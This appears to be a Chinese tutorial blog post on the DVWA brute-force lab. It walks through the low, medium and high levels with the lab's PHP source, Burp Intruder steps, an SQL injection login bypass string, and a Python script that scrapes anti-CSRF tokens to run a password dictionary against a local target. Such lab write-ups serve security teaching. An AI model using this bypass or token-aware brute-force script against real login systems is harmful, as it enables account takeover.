DVWA安装教程:
https

文章目录

  • Brute Force(暴力破解)
  • LOW
  • Medium
  • High

Brute Force(暴力破解)

两个字:撞库
三个字:枚举法
暴力破解的意思是攻击者借助计算机的高速计算不停枚举所有可能的用户名和密码,直到尝试出正确的组合,成功登录系统。
理论上,只要字典足够大,破解总是会成功的。

阻止暴力破解的最有效方式是设置复杂的密码(英文字母大小写、数字、符号混合)。

而如果你的字典是从某网站泄露出来的,你使用它试图登陆其他网站,就便是撞库。撞库攻击的成功率高于暴力破解,因为你在A网站的用户名、密码通常和B网站的用户名、密码一致。

以京东之前的撞库举例,首先京东的数据库并没有泄漏。黑客只不过通过“撞库”的手法,“凑巧”获取到了一些京东用户的数据(用户名密码),而这样的手法,几乎可以对付任何网站登录系统,用户在不同网站登录时使用相同的用户名和密码,就相当于给自己配了一把“万能钥匙”,一旦丢失,后果可想而知。所以说,防止撞库,是一场需要用户一同参与的持久战。

2014年12月25日,12306网站用户信息在互联网上疯传。对此,12306官方网站称,网上泄露的用户信息系经其他网站或渠道流出。据悉,此次泄露的用户数据不少于131,653条。该批数据基本确认为黑客通过“撞库攻击”所获得。
开始实验:

LOW

方法1
第一步,输入用户名密码抓包:
第二步,发至repeater查看:
第三步,发至Intruder,设置进行爆破:
第四步,开始攻击
方法2:
查看一下网页源码

<?phpif( isset( $_GET[ 'Login' ] ) ) {// Get username$user = $_GET[ 'username' ];// Get password$pass = $_GET[ 'password' ];$pass = md5( $pass );// Check the database$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
> 此处仅是把查询语句的字符串赋值给query变量,仅为赋值语句,并未执行查询。$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );> mysqli_query执行某个针对数据库的查询
> mysqli_query(规定要使用的 MySQL 连接,规定查询字符串)
> die() 函数输出一条消息,并退出当前脚本。该函数是 exit() 函数的别名。
> is_object() 函数用于检测变量是否是一个对象,返回true和false
> mysqli_error() 函数返回最近调用函数的最后一个错误描述。,返回一个带有错误描述的字符串if( $result && mysqli_num_rows( $result ) == 1 ) {// Get users details$row    = mysqli_fetch_assoc( $result );$avatar = $row["avatar"];
>  mysqli_num_rows() 函数返回结果集中行的数量
>  mysqli_fetch_assoc() 函数从结果集中取得一行作为关联数组。返回代表读取行的关联数组。如果结果集中没有更多的行则返回 NULL。// Login successfulecho "<p>Welcome to the password protected area {$user}</p>";echo "<img src=\"{$avatar}\" />";}else {// Login failedecho "<pre><br />Username and/or password incorrect.</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}?>

不难发现查询语句,只要传入参数即为真即可,所以我们考虑进行一个sql注入:admin’ or ‘1’='1

Medium

查看网页源代码:

<?phpif( isset( $_GET[ 'Login' ] ) ) {// Sanitise username input$user = $_GET[ 'username' ];$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));// Sanitise password input$pass = $_GET[ 'password' ];$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass = md5( $pass );// Check the database$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );if( $result && mysqli_num_rows( $result ) == 1 ) {// Get users details$row    = mysqli_fetch_assoc( $result );$avatar = $row["avatar"];// Login successfulecho "<p>Welcome to the password protected area {$user}</p>";echo "<img src=\"{$avatar}\" />";}else {// Login failedsleep( 2 );>  可以看到,medium级别的代码对用户输入的参数进行了简单的过滤,对一些预定义字符进行了转义,基本上防止了SQL注入。还有一个措施就是如果密码输错了,则延时两秒之后才能再次提交。echo "<pre><br />Username and/or password incorrect.</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}?>

其实就是多了这一块

    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
  • isset() 函数用于检测变量是否已设置并且非 NULL。返回TRUE。
  • is_object() 函数用于检测变量是否是一个对象
  • mysqli_real_escape_string() 函数转义在 SQL 语句中使用的字符串中的特殊字符。返回已转义的字符串。

由于mysqli_real_escape_string()对字符串进行了转义,所以sql注入将不能运用。

所以直接用方法1 burpsuite爆破就好啦,只不过时间长了点而已。因为试一次密码要过滤2秒才能试下一个。

High

查看网页源码:

<?phpif( isset( $_GET[ 'Login' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Sanitise username input$user = $_GET[ 'username' ];$user = stripslashes( $user );$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));// Sanitise password input$pass = $_GET[ 'password' ];$pass = stripslashes( $pass );$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass = md5( $pass );// Check database$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );if( $result && mysqli_num_rows( $result ) == 1 ) {// Get users details$row    = mysqli_fetch_assoc( $result );$avatar = $row["avatar"];// Login successfulecho "<p>Welcome to the password protected area {$user}</p>";echo "<img src=\"{$avatar}\" />";}else {// Login failedsleep( rand( 0, 3 ) );echo "<pre><br />Username and/or password incorrect.</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}// Generate Anti-CSRF token
generateSessionToken();?>
  • stripslashes(string): 去除掉string字符的反斜杠\
  • mysqli_real_escape_string(string,connection)函数会对字符串string中的特殊符号(\x00,\n,\r,\,‘,“,\x1a)进行转义。

使用了stripslashes函数和mysqli_real_esacpe_string来抵御SQL注入和XSS的攻击。

代码增加了token机制

 // Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

Token是服务端生成的一串字符串,以作客户端进行请求的一个令牌,当第一次登录后,服务器生成一个Token便将此Token返回给客户端,以后客户端只需带上这个Token前来请求数据即可,无需再次带上用户名和密码。

依我拙见,token可以看作是我的一张门禁卡,首次使用时需要激活和认证,分配一个ID,之后进入时只需刷卡,无卡则无法进入。这避免了陌生人进入的风险。token也是如此,减少频繁的查询数据库,使服务器更加健壮。
由于使用了Anti-CSRF token,每次服务器返回的登陆页面中都会包含一个随机的user_token的值,用户每次登录时都要将user_token一起提交。服务器收到请求后,会优先做token的检查,再进行sql查询。所以我们无法通过burpsuite爆破出结果,话不多说,先抓包

from bs4 import BeautifulSoup
import requestsheader={'Host':'127.0.0.1','User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0','Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','Accept-Language':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3','Referer':'http://127.0.0.1/vulnerabilities/brute/','cookie':'PHPSESSID=8p4kb7jc1df431lo6qe249quv2; security=high','Connection':'close','Upgrade-Insecure-Requests':'1'}
requrl="http://127.0.0.1/vulnerabilities/brute/"def get_token(requrl,header):response=requests.get(url=requrl,headers=header)print (response.status_code,len(response.content))soup=BeautifulSoup(response.text,"html.parser")input=soup.form.select("input[type='hidden']")   #返回的是一个list列表user_token=input[0]['value']                   #获取用户的tokenreturn user_tokenuser_token=get_token(requrl,header)
i=0
for line in open("E:\Password\mima.txt"):requrl="http://127.0.0.1/vulnerabilities/brute/?username=admin&password="+line.strip()+"&Login=Login&user_token="+user_tokeni=i+1print (i , 'admin' ,line.strip(),end="  ")user_token=get_token(requrl,header)if(i==20):break

DVWA------暴力破解(全级别详解)相关推荐

  1. DVWA暴力破解high级别

    DVWA 简介 DVWA(Damn Vulnerable Web App)是一个基于PHP/MySql搭建的Web应用程序,旨在为安全专业人员测试自己的专业技能和工具提供合法的 环境,帮助Web开发者 ...

  2. Linux下暴力破解工具Hydra详解

    Linux下暴力破解工具Hydra详解 一.简介 Number one of the biggest security holes are passwords, as every password s ...

  3. Dvwa之暴力破解全级别学习笔记

    暴力破解 暴力破解也可称为穷举法.枚举法,是一种针对于密码的破译方法,将密码进行逐个推算直到找出真正的密码为止.设置长而复杂的密码.在不同的地方使用不同的密码.避免使用个人信息作为密码.定期修改密码等 ...

  4. DVWA暴力破解LOW级别 爆破时间过长 字典

    部署DVWA已就位,开启暴力破解实验,现将dvwa等级调位low 选择暴力破解模块,打开burp,配置浏览器代理,输入账号密码,单击login 打开burp,查看抓到的包,可以看到刚才输入的账户名和密 ...

  5. Mybatis系列全解(五):全网最全!详解Mybatis的Mapper映射文件

    封面:洛小汐 作者:潘潘 若不是生活所迫,谁愿意背负一身才华. 前言 上节我们介绍了 < Mybatis系列全解(四):全网最全!Mybatis配置文件 XML 全貌详解 >,内容很详细( ...

  6. SQL Server事务隔离级别详解

    SQL Server事务隔离级别详解 标签: SQL SEERVER/MSSQL SERVER/SQL/事务隔离级别选项/设置数据库事务级别 SQL 事务隔离级别 概述 隔离级别用于决定如果控制并发用 ...

  7. css中float详解,CSS浮动属性Float详解?史上最全Float详解

    我们在学习css样式的时候,都知道css是盒概念,并且每一个盒子都是一个元素,下面我们就对CSS浮动属性Float进行详解,让你彻底了解Float. 一:什么是Float浮动? Float浮动是css ...

  8. ceph存储原理_赠书 | Linux 开源存储全栈详解——从Ceph到容器存储

    // 留言点赞赠书我有书,你有故事么?留言说出你的存储故事留言点赞前两名,免费送此书截止日期12.27号12.30号公布名单 // 内容简介 本书致力于帮助读者形成有关Linux开源存储世界的细致的拓 ...

  9. openstack架构详解图_英特尔顶级技术专家合力缔造精品:Linux开源网络全栈详解...

    日常水开篇 自1991年诞生起,Linux已经走过了接近三十年.Linux早已没有了问世时的稚气,正在各个领域展示自己成熟的魅力. 以Linux为基础,也衍生出了各种开源生态,例如网络和存储.而生态离 ...

最新文章

  1. 一张“黑洞”需要拍两年?有了它或许就不会让大家等那么久了
  2. Extjs 格式化---Ext.util.Format类
  3. jQuery 性能优化技巧
  4. 成功解决ValueError: The truth value of a Series is ambiguous. Use a.empty, a.bool(), a.item(), a.any() o
  5. hdu 5624 KK's Reconstruction(最小生成树)
  6. 时间 '2018-08-06T10:00:00.000Z' 格式转化为本地时间(转)
  7. Linux内核参数的介绍
  8. github 无法访问_Markdown文档写作利器套装:Typora+PicGo+GitHub
  9. 趋势科技修复已遭利用的 Apex Central 0day
  10. react---之下拉菜单默认选中的值始终不变的问题
  11. WINDOWS也需要装WINDOWS虚拟机
  12. 将连接MySQL数据库的java项目程序打包成为.jar格式
  13. 活出富有成效和充实的十年:让新的一年有个好开始的三条秘诀
  14. LA 4987 背包
  15. 《重装系统》Windows纯净装机+常用工具(最简单易懂教程)--菜鸟小回
  16. 经典非局部均值滤波(NLM)算法python实现(2)
  17. 贝恩资本联手华为22亿美元收购3Com
  18. 金蝶eas oracle数据库,金蝶EAS服务器.ppt
  19. php修改excel表格数据,php修改excel表格数据-php怎么导入Excel表格到数据库,根据表格内的字段......
  20. 神经网络模型训练简记(二)

热门文章

  1. HTML和CSS之移动端
  2. 陈天奇团队新研究:自动优化深度学习工作负载
  3. 用华为手机要学会4个高级功能,你若不会使用不如去买个小灵通
  4. 【Linux】文件、目录与权限
  5. 虹膜识别之路(一):深度学习现有CNN下的虹膜识别
  6. android 图片 drawable,在android中Drawable图片使用教程
  7. Android常见Drawable使用
  8. 关于css中clear:both清除浮动防止父级元素高度坍塌的原理
  9. FindBugs What Why How
  10. Asp基础教程(下)